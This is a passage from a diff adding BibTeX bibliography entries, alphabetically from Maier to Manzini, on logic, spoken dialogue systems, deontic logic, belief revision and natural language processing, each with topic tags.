{nl-semantics;adverbs;locative-constructions;} + } + +@book{ maier-etal:1997a, + editor = {Elisabeth Maier and Marion Mast and Susann LuperFoy}, + title = {Dialogue Processing in Spoken Language Systems: {Ecai}'96 + Workshop, {B}udapest, {H}ungary, August 13, 1996}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540631755 (softcover)}, + contentnote = {TC: + 1. Niels Ole Bernsen and Laila Dybkj{\ae}r and Hans + Dybkj{\ae}r, "User Errors in Spoken Human-Machine + Dialogue" + 2. Nils Dahb\"ack, "Towards a Dialogue Taxonomy" + 3. Detlev Krause, "Using an Interpretation System: Some + Observations in Hidden Operator Simulations of + {VERBMOBIL}" + 4. R.J. Van Vark and J.P.M. de Vreught and L.J.M. + Rothkrantz, "Classification of Public Transport + Information Dialogues Using an Information-Based + Coding Scheme" + 5. Brigitte Grote et al, "Speech Production in Human-Machine + Dialogue: A Natural Language Generation Perspective" + 6. Alon Lavie et al, "Input Segmentation of Spontaneous Speech + in {JANUS}: A Speech-To-Speech Translation System" + 7. Mark Seligman and Junko Hosako and Harald Singer, "\'Pause + Units' and Analysis of Spontaneous {J}apanese + Dialogues: Preliminary Studies" + 8. Bernd Tischer, "Syntactic procedures for the detection of + Self-Repairs in {G}erman Dialogues", pp. + 9. David R. Traum and Peter A. Heeman, "Development Principles + for Dialog-Based Interfaces" + 10. Alicia Abella and Michael K. Brown and Bruce + Buntschuh, "Utterance Units in Spoken Dialogue" + 11. James Barnett and Mona Singh, "Designing a Portable Spoken + Dialogue System" + 12. Yan Qu et al, "Minimizing Cumulative Error in Discourse + Context" + 13. Masahiro Araki and Shuji Doshita, "Automatic Evaluation + Environment for Spoken Dialogue Systems" + 13. Donna Gates et al, "End-to-End Evaluation in {JANUS}: A + Speech-To-Speech Translation System" + 14. Teresa Sikorski and James F. Allen, "A Task-Based Evaluation + of the {TRAIN}-95 Dialogue System" + } , + topic = {computational-dialogue;} + } + +@book{ maier_d-warren:1988a, + author = {D. Maier and D.S. Warren}, + title = {Computing With Logic}, + publisher = {Benjamin/Cummings}, + year = {1988}, + address = {Menlo Park, California}, + missinginfo = {A's 1st name}, + topic = {theorem-proving;} + } + +@inproceedings{ maier_e:1996a, + author = {Elizabeth Maier}, + title = {Context Construction as a Subtask of Dialogue Processing---the + {V}erbmobil Case}, + booktitle = {Proceedings of the 11th {T}wente Workshop on Language + Technology}, + year = {1996}, + pages = {113--122}, + organization = {University of Twente}, + address = {Entschede}, + missinginfo = {editor, publisher}, + topic = {context;computational-dialogue;} + } + +@book{ maier_e-etal:1997a, + editor = {Elisabeth Maier and Marion Mast and Susann LuperFoy}, + title = {Dialogue Processing in Spoken Language Systems: Ecai'96}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540631755 (softcover: alk. paper)}, + contentnote = {TC: + 1. Niels Ole Bernsen and Laila Dybkj{\ae}r and Hans + Dybkj{\ae}r, "User Errors in Spoken Human-Machine + Dialogue" + 2. Nils Dahb\"ack, "Towards a Dialogue Taxonomy" + 3. Detlev Krause, "Using an Interpretation System: Some + Observations in Hidden Operator Simulations of + 'VERBMOBIL'" + 4. R.J. Van Vark and J.P.M. de Vreught and L.J.M. Rothkrantz, + "Classification of Public Transport Information + Dialogues Using an Information-Based Coding Scheme" + 5. Brigitte Grote et al., "Speech Production in Human-Machine + Dialogue: A Natural Language Generation Perspective" + 6. Alon Lavie et al., "Input Segmentation of Spontaneous + Speech in {JANUS}: A Speech-to-Speech Translation System" + 7. Mark Seligman and Junko Hosako and Harald Singer, "\,'Pause + Units' and Analysis of Spontaneous Japanese + Dialogues: Preliminary Studies" + 8. Bernd Tischer and Mark Seligman and Junko Hosako and + Harald Singer, "Syntactic Procedures for the Detection of + Self-Repairs in {G}erman Dialogues" + 10. David R. Traum and Peter A. Heeman, "Utterance Units in + Spoken Dialogue" + 11. Alicia Abella and Michael K. Brown and Bruce Buntschuh, + "Development Principles for Dialog-Based Interfaces" + 12. James Barnett and Mona Singh, "Designing a Portable Spoken + Dialogue System" + 13. Yan Qu et al., "Minimizing Cumulative Error in + Discourse Context" + 14. Masahiro Araki and Shuji Doshita, "Automatic Evaluation + Environment for Spoken Dialogue Systems" + 15. Donna Gates et al., "End-to-End Evaluation in {JANUS}: A + Speech-to-Speech Translation System" + 15. Teresa Sikorski and James F. Allen, "A Task-Based Evaluation + of the {TRAIN}-95 Dialogue System" + } , + topic = {computational-dialogue;} + } + +@incollection{ maier_e-etal:1997b, + author = {Elizabeth Maier and Norbert Reithinger and Jan + Alexandersson}, + title = {Clarification Dialogues as Measure + to Increase Robustness in a Spoken Dialogue System}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {33--36}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;clarification-dialogues;} + } + +@incollection{ maiorano:1999a, + author = {Sandra Harabagiu and Stephen Maiorano}, + title = {Knowledge-Lean Coreference Resolution and Its Relation to + Textual Cohesion and Coreference}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {29--38}, + address = {Somerset, New Jersey}, + topic = {anaphora-resolution;discourse-coherence;} + } + +@book{ maital:1982a, + author = {Shlomo Maital}, + title = {Minds, Markets, and Money: Psychological Foundations of + Economic Behavior}, + publisher = {Basic Books}, + year = {1982}, + address = {New York}, + ISBN = {0465046231}, + topic = {behavioral-economics;} + } + +@book{ maital-maital:1984a, + author = {Shlomo Maital and Sharone L. Maital}, + title = {Economic Games People Play}, + publisher = {Basic Books}, + year = {1984}, + address = {New York}, + ISBN = {0465017894}, + topic = {behavioral-economics;game-theory;} + } + +@book{ maital_s-maital_sl:1993a, + editor = {Shlomo Maital and Sharone L. Maital}, + title = {Economics and Psychology}, + publisher = {E. Elgar Publishers}, + year = {1993}, + address = {Aldershot, England}, + ISBN = {1852786930}, + topic = {microeconomics;psychology;} + } + +@article{ makinson:1965a, + author = {David C. Makinson}, + title = {The Paradox of the Preface}, + journal = {Analysis}, + year = {1965}, + volume = {25}, + pages = {25--27}, + xref = {Discussion: hoffman_rc:1968a.}, + topic = {paradox-of-the-preface;} + } + +@article{ makinson:1966a, + author = {David C. Makinson}, + title = {On Some Completeness Theorems in Modal Logic}, + journal = {Zeitschrift f\"ur {M}athematische {L}ogik und + {G}rundlagen der {M}athematik}, + year = {1966}, + volume = {12}, + pages = {379--384}, + missinginfo = {number}, + topic = {modal-logic;completeness-theorems;} + } + +@article{ makinson:1973a, + author = {David C. Makinson}, + title = {A Warning about the Choice of Primitive Operators in + Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {193--196}, + topic = {modal-logic;} + } + +@unpublished{ makinson:1981a, + author = {David C. Makinson}, + title = {Individual Actions Are Very Seldom Obligatory}, + year = {1981}, + note = {Unpublished manuscript, UNESCO.}, + topic = {deontic-logic;} + } + +@incollection{ makinson:1981b, + author = {David C. Makinson}, + title = {Quantificational Reefs in Deontic Waters}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {87--91}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@article{ makinson:1981c, + author = {David C. Makinson}, + title = {Non-Equivalent Formulae in One Variable in a Strong + Omnitemporal Logic}, + journal = {Zeitschrift f\"ur mathematische {L}ogik und {G}rundlagen + der {M}athematik}, + year = {1981}, + volume = {27}, + number = {8}, + pages = {111--112}, + topic = {temporal-logic;} + } + +@unpublished{ makinson:1981d, + author = {David C. Makinson}, + title = {Directly Skeptical Conclusions Cannot Capture + the Intersection of Extensions}, + year = {1981}, + note = {Unpublished manuscript.}, + topic = {inheritance-theory;nonmonotonic-reasoning;} + } + +@incollection{ makinson:1981e, + author = {David C. Makinson}, + title = {Quantificational Reefs in Deontic Waters}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {87--91}, + address = {Dordrecht}, + topic = {deontic-logic;quantifying-in-modality;} + } + +@article{ makinson:1985a, + author = {David C. Makinson}, + title = {How to Give It Up: A Survey of Some Formal Aspects + of the Logic of Theory Change}, + journal = {Synt\`hese}, + year = {1985}, + volume = {62}, + pages = {347--363}, + topic = {belief-revision;} + } + +@unpublished{ makinson:1986a, + author = {David C. Makinson}, + title = {Stenius' Approach to Disjunctive Permission}, + year = {1986}, + note = {Unpublished manuscript, Unesco.}, + topic = {deontic-logic;} + } + +@article{ makinson:1986b, + author = {David C. Makinson}, + title = {On the Formal Representation of Rights Relations}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {4}, + pages = {403--425}, + topic = {deontic-logic;} + } + +@article{ makinson:1987a, + author = {David C. Makinson}, + title = {On the Status of the Postulate of Recovery in the Logic of + Theory Change}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {383--394}, + topic = {belief-revision;} + } + +@article{ makinson:1988a, + author = {David C. Makinson}, + title = {Review of {\it {C}hange in View}, by {G}ilbert {H}arman}, + journal = {History and Philosophy of Logic}, + year = {1988}, + volume = {8}, + pages = {113--115}, + xref = {Review of harman:1986a.}, + topic = {belief-revision;limited-rationality;} + } + +@incollection{ makinson:1989a, + author = {David C. Makinson}, + title = {General Theory of Cumulative Inference}, + booktitle = {Proceedings of the Second International Workshop + on Non-Monotonic Reasoning}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + missinginfo = {Editor, pages}, + topic = {nonmonotonic-logic;} + } + +@unpublished{ makinson-schlechta:1989a, + author = {David C. Makinson and Karl Sclechta}, + title = {On Some Difficulties in the Theory of Defeasible + Inheritance Networks}, + year = {1989}, + note = {Unpublished manuscript.}, + xref = {This eventually developed into makinson-schlechta:1991a.}, + topic = {inheritance-theory;} + } + +@unpublished{ makinson:1990a, + author = {David C. Makinson}, + title = {The {G}\"ardenfors Impossibility Theorem in + Non-Monotonic Inference}, + year = {1990}, + note = {Unpublished manuscript.}, + topic = {conditionals;belief-revision;update-conditionals; + nonmonotonic-reasoning;Ramsey-test;} + } + +@incollection{ makinson-gardenfors:1990a, + author = {David C. Makinson and Peter G\"ardenfors}, + title = {Relations between the Logic of Theory Change and the + Nonmonotonic Logic}, + booktitle = {The Logic of Theory Change}, + year = {1991}, + editor = {Andr\'e Fuhrmann and M. Morreau}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {185--205}, + topic = {belief-revision;nonmonotonic-logic;} + } + +@article{ makinson-schlechta:1991a, + author = {David C. Makinson and Karl Sclechta}, + title = {Floating Conclusions and Zombie Paths: Two Deep Difficulties + in the `Directly Skeptical' Approach to Defeasible Inheritance + Networks}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {199--209}, + topic = {inheritance-theory;} + } + +@article{ makinson:1993a, + author = {David C. Makinson}, + title = {Five Faces of Minimality}, + journal = {Studia Logica}, + year = {1993}, + volume = {52}, + pages = {339--379}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@incollection{ makinson:1994a, + author = {David C. Makinson}, + title = {General Patterns in Nonmonotonic Reasoning}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {35--111}, + address = {Oxford}, + topic = {nonmonotonic-reasoning-survey;} + } + +@incollection{ makinson:1998a, + author = {David C. Makinson}, + title = {On a Fundamental Problem of Deontic Logic}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {29--54}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@article{ makinson-vandertorre:2000a, + author = {David C. Makinson and Leendert van der Torre}, + title = {Input/Output Logics}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {4}, + pages = {383--408}, + topic = {conditional-obligation;deontic-logic;nonmonotonic-reasoning;} + } + +@article{ makinson-vandertorre:2001a, + author = {David C. Makinson and Leenart van der Torre}, + title = {Constraints for Input/Output Logics}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {2}, + pages = {155--185}, + topic = {conditional-obligation;deontic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ makowski:1982a, + author = {Johann A. Makowski}, + title = {Model Theoretic Issues in Theoretical Computer Science, + Part {I}: Relational Data Bases and Abstract Data Types}, + booktitle = {Logic Colloquiun '82: Proceedings of the Colloquium + Held in {F}lorence 23--28 August, 1982}, + year = {1982}, + editor = {G. Lolli and G. Longo and A. Marcja}, + publisher = {North-Holland Publishing Co.}, + address = {Amsterdam}, + missinginfo = {pages pages = {303--}}, + topic = {abstract-model-theory;abstract-data-types;} + } + +@incollection{ makowski-pnuelli_y:1995a, + author = {Johann A. Makowski and Yachan B. Pnuelli}, + title = {Computable Quantifiers and Logics over Finite Structures}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {313--357}, + address = {Dordrecht}, + topic = {generalized-quantifiers;computability;database-queries;} + } + +@incollection{ makowsky:1988a, + author = {Johann A. Makowsky}, + title = {Mental Images and the Architecture + of Concepts}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {453--465}, + address = {Oxford}, + topic = {language-of-thought;foundations-of-computation;} + } + +@incollection{ maksimova:1994a, + author = {L.L. Maksimova}, + title = {Interpolation Properties of Superintuitionistic, Positive, + and Modal Logics}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {70--78}, + address = {Helsinki}, + topic = {proof-theory;modal-logic;} + } + +@incollection{ maksimova:1995a, + author = {Larisa Maksimova}, + title = {Implicit and Explicit Definability in Modal and Temporal Logics}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {153--159}, + address = {Dordrecht}, + topic = {modal-logic;temporal-logic;} + } + +@incollection{ maksimova:1998a, + author = {Larisa Maksimova}, + title = {Interpolation in Superinituitionistic + and Modal Predicate Logics with Equality}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {113--140 } , + address = {Stanford, California}, + topic = {modal-logic;intuitionistic-logicl;interpolation-theorems;} + } + +@book{ malcolm:1959a, + author = {Norman Malcolm}, + title = {Dreaming}, + publisher = {Routledge and Kegan Paul}, + year = {1959}, + address = {London}, + ISBN = {UMich Graduate Library BF1078 .M24}, + xref = {Commentary: putnam:1962a1}, + topic = {dreaming;} + } + +@article{ maling:1984a, + author = {Joan Maling}, + title = {Non-Clause-Bounded Reflexives in Modern {I}celandic}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {3}, + pages = {211--241}, + topic = {reflexive-constructions;Icelandic-language;nl-syntax;} + } + +@book{ malle-etal:2001a, + editor = {Bertram F. Malle and Louis J. Moses and Dare A. Baldwin}, + title = {Intentions and Intentionality}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-13386-5}, + topic = {intention;intentionality;social-cognition;} + } + +@incollection{ malone_jl:1978a, + author = {Joseph L. Malone}, + title = {Generative-Transformational Studies in {E}nglish + Interrogatives}, + booktitle = {Questions}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Henry Hi\.z}, + pages = {37--85}, + address = {Dordrecht}, + topic = {interrogatives;} + } + +@incollection{ malone_tw-etal:1988a, + author = {T.W. Malone and Richard E. Fikes and K.R. Grant and + M.T. Howard}, + title = {Enterprise: A Market-like Task Scheduler + for Distributed Computing Environments}, + booktitle = {The Ecology of Computation}, + publisher = {North-Holland}, + year = {1988}, + editor = {Bernardo A. Huberman}, + pages = {177--205}, + address = {Amsterdam}, + topic = {scheduling;distributed-computing;market-oriented-algorithms;} + } + +@unpublished{ maloney_jc:1978a, + author = {J. Christopher Maloney}, + title = {Perception and the Structure of Propositional Attitudes}, + year = {1978}, + note = {Unpublished manuscript, Oakland University, Rochester, + Michigan.}, + topic = {propositional-attitudes;logic-of-perception;} + } + +@article{ maloney_jc:1984a, + author = {J. Christopher Maloney}, + title = {The Mundane Mental Language: How to Do Things with + Words}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {3}, + pages = {251--294}, + topic = {mental-representations;} + } + +@incollection{ maloor-chai:2000a, + author = {Preetam Maloor and Joyce Chai}, + title = {Dynamic User Level and Utility Measurement for Adaptive + Dialog in a Help-Desk System}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {94--101}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;user-modeling;help-systems;} + } + +@incollection{ malpas:1965a, + author = {Richard M.P. Malpas}, + title = {The Location of Sound}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {131--144}, + address = {Oxford}, + topic = {auditory-perception;} + } + +@book{ maluszynski:1997a, + editor = {Jan Maluszynski}, + title = {Logic Programming: Proceedings of the 1997 International + Symposium}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262631806}, + topic = {logic-programming;} + } + +@article{ malzen:1998a, + author = {S. Malzen}, + title = {The Knower Paradox and Epistemic Closure}, + journal = {Synth\'ese}, + year = {1998}, + volume = {114}, + pages = {337--354}, + missinginfo = {number, A's 1st name}, + topic = {propositional-attitudes;hyperintensionality; + syntactic-attitudes;} + } + +@incollection{ manara-deroeck:1997a, + author = {Lucia H. B. Manara and Anne de Roeck}, + title = {A Belief-Centered Treatment of Pragmatic Presupposition}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {274--291}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;presuposition; + pragmatics;} + } + +@article{ manasterramer:1987a, + author = {Alexis Manaster-Ramer}, + title = {Dutch as a Formal Language}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {2}, + pages = {221--246}, + topic = {formal-language-theory;nl-syntax;} + } + +@article{ manasterramer-kac:1990a, + author = {Alexis Manaster-Ramer and Michael B. Kac}, + title = {The Concept of Phrase Structure}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {3}, + pages = {325--362}, + topic = {foundations-of-syntax;} + } + +@article{ manasterramer:1991a, + author = {Alexis Manaster-Ramer}, + title = {Vacuity}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {3}, + pages = {339--348}, + xref = {Commentary on pelletier:1988a.}, + topic = {nl-syntax;formal-language-theory;} + } + +@incollection{ mandala:1998a, + author = {Rila Mandala and Takenobu Tokunaga and Hozumi Tanaka}, + title = {The Use of {W}ord{N}et in Information Retrieval}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {31--37}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;information-retrieval';} + } + +@techreport{ manders-daley:1983a, + author = {Kenneth L. Manders and Robert F. Daley}, + title = {The Complexity of the Validity Problem fo Dynamic Logic}, + institution = {Department of Mathematics, University of Utrecht}, + number = {282}, + year = {1983}, + address = {Utrecht, The Netherlands}, + topic = {complexity-theory;dynamic-logic;} + } + +@unpublished{ manders:1985a, + author = {Kenneth L. Manders}, + title = {Logic and Conceptual Relations in Mathematics}, + year = {1985}, + note = {Unpublished manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {philosophy-of-mathematics;} + } + +@unpublished{ manders:1986a, + author = {Kenneth L. Manders}, + title = {The Role of Concepts in Mathematical Knowledge}, + year = {1986}, + note = {Unpublished manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {philosophy-of-mathematics;} + } + +@article{ mani:1996a, + author = {Inderjeet Mani}, + title = {Review of {\it Machine Translation and the Lexicon}, + edited by {P}etra {S}teffans}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {271--273}, + xref = {Review of steffans:1996a.}, + topic = {machine-translation;computational-lexicography;} + } + +@incollection{ mani:1998a, + author = {Inderjeet Mani}, + title = {A Theory of Granularity and its Application to the + Problem of Polysemy and Underspecification of Meaning}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {245--255}, + address = {San Francisco, California}, + topic = {kr;granularity;;kr-course;} + } + +@book{ mani-maybury:1999a, + editor = {Inderjeet Mani and Robert Maybury}, + title = {Advances in Automatic Text Summarization}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0262133598}, + topic = {text-summarization;} + } + +@book{ mani:2001a, + author = {Inderjeet Mani}, + title = {Automatic Summarization}, + publisher = {J. Benjamins Pub. Co.}, + year = {2001}, + address = {Amsterdam}, + ISBN = {1588110591}, + topic = {text-summary;} + } + +@book{ manktelow-over:1993a, + editor = {K. Manktelow and D.E. Over}, + title = {Rationality}, + publisher = {Routledge}, + year = {1993}, + address = {London}, + topic = {rationality;} + } + +@article{ manley:2002a, + author = {David Manley}, + title = {Properties and Resemblance Classes}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {1}, + pages = {75--96}, + topic = {similarity;nominalism;properties;} + } + +@article{ mann-moore_ja:1981a, + author = {William C. Mann and James A. Moore}, + title = {Computer Generation of Multiparagraph {E}nglish Text}, + journal = {American Journal of Computational Linguistics}, + year = {1981}, + volume = {17}, + number = {1}, + pages = {17--29}, + topic = {nl-generation;discourse-planning;pragmatics;} +} + +@incollection{ mann-matthiessen:1985a, + author = {William C. Mann and Christian M. Matthiessen}, + title = {A Demonstration of the {Nigel} Text Generation Computer + Program}, + booktitle = {Systemic Perspectives on Discourse: Selected Papers + From the Ninth International Systemics Workshop}, + year = {1985}, + editor = {R. Benson and J. Greaves}, + publisher = {Ablex, London}, + pages = {50--83}, + notes = {Also available as USC/ISI Research Report RR-83-105}, + topic = {nl-generation;} +} + +@article{ mann-thompson:1986a, + author = {William Mann and Sandra Thompson}, + title = {Relational Propositions in Discourse}, + journal = {Discourse Processes}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {57--90}, + topic = {discourse-structure;pragmatics;} + } + +@article{ mann-thompson:1988a, + author = {William C. Mann and Sandra A. Thompson}, + title = {Rhetorical Structure Theory: Towards a Functional Theory + of Text Organization}, + journal = {Text}, + year = {1988}, + volume = {8}, + number = {3}, + pages = {243--281}, + topic = {discourse-structure;pragmatics;} + } + +@techreport{ mann-thompson:1989a, + author = {William C. Mann and Sandra A. Thompson}, + title = {Rhetorical Structure Theory: Towards a Functional Theory + of Text Organization}, + institution = {Information Sciences Institute}, + number = {ISI/RR--89-242}, + year = {1989}, + address = {Marina del Rey, California}, + topic = {discourse-structure;pragmatics;} + } + +@incollection{ mann:2002a, + author = {William C. Mann}, + title = {Dialogue Analysis for Diverse Situations}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {109--116}, + address = {Edinburgh}, + topic = {discourse-tagging;} + } + +@article{ manna:1970a, + author = {Zohar Manna}, + title = {The Correctness of Nondeterministic Programs}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {1--2}, + pages = {1--26}, + acontentnote = {Abstract: + In this paper we formalize properties of nondeterministic + programs by means of the satisfiability and validity of formulas + in first-order logic. Our main purpose is to emphasize the + great variety of possible applications of the results, + especially for solving problems of the kind: ``Find a sequence + of actions that will achieve a given goal.'' } , + topic = {program-verification;} + } + +@article{ manna-waldinger:1975a, + author = {Zohar Manna and Richard Waldinger}, + title = {Knowledge and Reasoning in Program Synthesis}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {2}, + pages = {175--208}, + topic = {program-synthesis;} + } + +@article{ manna-waldinger:1980a1, + author = {Zohar Manna and Richard Waldinger}, + title = {A Deductive Approach to Program Synthesis}, + journal = {{ACM} Transactions on Programming Languages and + Systems}, + year = {1980}, + volume = {2}, + number = {1}, + pages = {120--121}, + xref = {Republication: manna-waldinger:1980a2.}, + topic = {automatic-programming;} + } + +@incollection{ manna-waldinger:1980a2, + author = {Zohar Manna and Richard Waldinger}, + title = {A Deductive Approach to Program Synthesis}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {141--172}, + address = {Los Altos, California}, + xref = {Journal Publication: manna-waldinger:1980a1.}, + topic = {automatic-programming;} + } + +@incollection{ manna-waldinger:1986a, + author = {Zohar Manna and Richard Waldinger}, + title = {A Theory of Plans}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {11--45}, + address = {Los Altos, California}, + contentnote = {Idea is to look at planning as automated deduction. + Uses "situational logic", by which I think they mean extensions + of the situation calculus. There is a resolution algorithm.}, + topic = {planning;theorem-proving;} + } + +@incollection{ manna-etal:1991a, + author = {Zohar Manna and Mark Stickel and Richard Waldinger}, + title = {Monotonicity Properties in Automated Deduction}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {247--280}, + address = {San Diego}, + topic = {theorem-proving;} + } + +@book{ manna-pnueli:1992a, + author = {Zohar Manna and Amir Pnueli}, + title = {The Temporal Logic of Reactive and Concurrent Systems}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + topic = {concurrency;temporal-logic;program-verification;} + } + +@book{ manninen-tuomela:1976a, + editor = {Juha Manninen and Raimo Tuomela}, + title = {Essays on Explanation and Understanding: Studies in the + Foundations of Humanities and Social Sciences}, + publisher = {D. Reidel Publishing Co}, + year = {1976}, + address = {Dordrecht}, + ISBN = {9027705925}, + topic = {explanation;philosophical-logic;causality; + philosophy-of-social-science;} + } + +@unpublished{ manning:1995a, + author = {Christopher Manning}, + title = {Capturing Dissociations Between Functor Argument Structure + and Surface Structure: {HPSG}, {LFG} and Categorial Approaches}, + year = {1995}, + month = {October}, + note = {Unpublished manuscript.}, + topic = {HPSG;nl-syntax;} + } + +@book{ manning:1996a, + author = {Christopher Manning}, + title = {Argument Structure and Grammatical Relations}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {argument-structure;grammatical-relations;} + } + +@incollection{ manning:1998a, + author = {Christopher D. Manning}, + title = {The Segmentation Problem in Morphology Learning}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {299--305}, + address = {Somerset, New Jersey}, + topic = {morphology-acquisition;} + } + +@book{ manning-schutze:1999a, + author = {Christopher D. Manning and Hinrich Sch\"utze}, + title = {Foundations of Statistical Natural Language Processing}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + xref = {Review by Richard Evans, LINGUIST List: Vol-10-1349.}, + topic = {statistical-nlp;} + } + +@article{ manor:1974a, + author = {Ruth Manor}, + title = {A Semantic Analysis of Conditional Assertion}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {1--2}, + pages = {37--52}, + topic = {conditional-assertion;} + } + +@inproceedings{ mantha:1994a, + author = {Surya Mantha}, + title = {Towards a Logical Foundation for Qualitative Decision Theory}, + booktitle = {Working Notes of the Symposium on Decision-Theoretic + Planning}, + year = {1994}, + editor = {Steve Hanks and Stuart Russell and Michael P. Wellman}, + pages = {169--174}, + missinginfo = {organization, publisher}, + topic = {qualitative-utility;} + } + +@book{ mantovani:1996a, + author = {Giuseppe Mantovani}, + title = {New Communication Environments: From Everyday to Virtual}, + publisher = {Taylor \& Francis}, + year = {1996}, + address = {London}, + ISBN = {0748403957}, + topic = {HCI;} + } + +@book{ manzano:1995a, + author = {Maria Manzano}, + title = {Extensions of First-Order Logic}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + xref = {Review: olbach:1998a.}, + topic = {higher-order-logic;many-sorted-logic;modal-logic;} + } + +@article{ manzini_g:1995a, + author = {Giovanni Manzini}, + title = {{BIDA*}: An Improved Perimeter Search 